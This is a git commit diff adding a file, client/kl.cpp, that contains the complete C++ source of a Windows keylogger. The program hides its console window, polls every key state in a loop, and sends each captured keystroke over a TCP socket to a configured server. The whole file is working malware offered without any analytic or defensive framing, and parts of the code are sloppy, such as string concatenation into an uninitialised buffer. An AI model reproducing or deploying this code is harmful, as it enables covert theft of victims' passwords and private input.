Completed project

Adding all classes
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1 files changed, 134 insertions, 0 deletions

diff --git a/client/kl.cpp b/client/kl.cpp
new file mode 100644
index 0000000..af125b9
--- /dev/null
+++ b/client/kl.cpp
@@ -0,0 +1,134 @@
+#define WIN32_LEAN_AND_MEAN
+
+//Needed to keylogging
+#include <windows.h>
+#include <winuser.h>
+
+//Needed for networking
+#include <winsock2.h>
+#include <ws2tcpip.h>
+#include <stdlib.h>
+#include <stdio.h>
+
+#pragma comment (lib, "Ws2_32.lib")
+#pragma comment (lib, "Mswsock.lib")
+#pragma comment (lib, "AdvApi32.lib")
+
+#define DEFAULT_BUFLEN 128
+#define DEFAULT_PORT "80"
+#define DEFAULT_HOST "127.0.0.1"
+
+int Save (char key, int sock)
+{
+    if ( (key == 1) || (key == 2) )
+        return 0;
+    char output[100];
+        switch(key){
+                           case 8         : strcat(output,"[B]"); break; //Backspace
+                           case VK_RETURN : strcat(output,"[E]"); break; //Enter
+                           case VK_SPACE  : strcat(output,"[S]"); break; // Space
+                           case VK_CLEAR  : strcat(output,"[C]"); break; //Clear
+                           case VK_TAB    : strcat(output,"[T]");break; //Tab
+                           case VK_SHIFT  : strcat(output,"[H]");break; // Shift
+                           case VK_CONTROL: strcat(output,"[O]");break; // Control
+                           case VK_ESCAPE : strcat(output,"[A]");break; // Escape
+                           case VK_END    : strcat(output,"[N]");break; // End
+                           case VK_HOME   : strcat(output,"[M]");break; // Home
+                           case VK_LEFT   : strcat(output,"[L]");break; // Left
+                           case VK_RIGHT  : strcat(output,"[R]");break; // Right
+                           case VK_DOWN   : strcat(output,"[D]");break; // Down
+                           case VK_UP     : strcat(output,"[U]");break; // Up
+                           case 190       :
+                           case 110       : strcat(output,"."); break; //Keypad . or keyboard .
+                           default        : strcat(output,"[ ]"); output[3] = key;
+                           }
+    char *const allout = output;
+    int result;
+    result = send( sock,allout,5,0);
+    int i;
+    for(i=0;i<99;i++)
+    {
+        output[i]='\0';
+    }
+    return 0;
+}
+
+void Stealth()
+{
+  HWND Stealth;
+  AllocConsole();
+  Stealth = FindWindowA("ConsoleWindowClass", NULL);
+  ShowWindow(Stealth,0);
+}
+
+int __cdecl main() 
+{
+    WSADATA wsaData;
+    SOCKET ConnectSocket = INVALID_SOCKET;
+    struct addrinfo *result = NULL,
+                    *ptr = NULL,
+                    hints;
+    char *sendbuf = "this is a test";
+    char recvbuf[DEFAULT_BUFLEN];
+    int iResult;
+    int recvbuflen = DEFAULT_BUFLEN;
+
+    // Initialize Winsock
+    iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
+    if (iResult != 0) {
+        return 1;
+    }
+    ZeroMemory( &hints, sizeof(hints) );
+    hints.ai_family = AF_INET;
+    hints.ai_socktype = SOCK_STREAM;
+    hints.ai_protocol = IPPROTO_TCP;
+
+    // Resolve the server address and port
+    iResult = getaddrinfo(DEFAULT_HOST, DEFAULT_PORT, &hints, &result);
+    if ( iResult != 0 ) {
+        WSACleanup();
+        return 1;
+    }
+    // Attempt to connect to an address until one succeeds
+    for(ptr=result; ptr != NULL ;ptr=ptr->ai_next) {
+
+        // Create a SOCKET for connecting to server
+        ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype, 
+            ptr->ai_protocol);
+        if (ConnectSocket == INVALID_SOCKET) {
+            WSACleanup();
+            return 1;
+        }
+
+        // Connect to server.
+        iResult = connect( ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
+        if (iResult == SOCKET_ERROR) {
+            closesocket(ConnectSocket);
+            ConnectSocket = INVALID_SOCKET;
+            continue;
+        }
+        break;
+    }
+
+    freeaddrinfo(result);
+
+    if (ConnectSocket == INVALID_SOCKET) {
+        WSACleanup();
+        return 1;
+    }
+    Stealth();
+    int i;
+    while (true)
+    {
+        for(i=8; i <= 190; i++)
+        {
+            if (GetAsyncKeyState(i) == -32767)
+            Save (i,ConnectSocket);
+        }
+    }
+
+    closesocket(ConnectSocket);
+    while(true){}
+return 0;
+}
+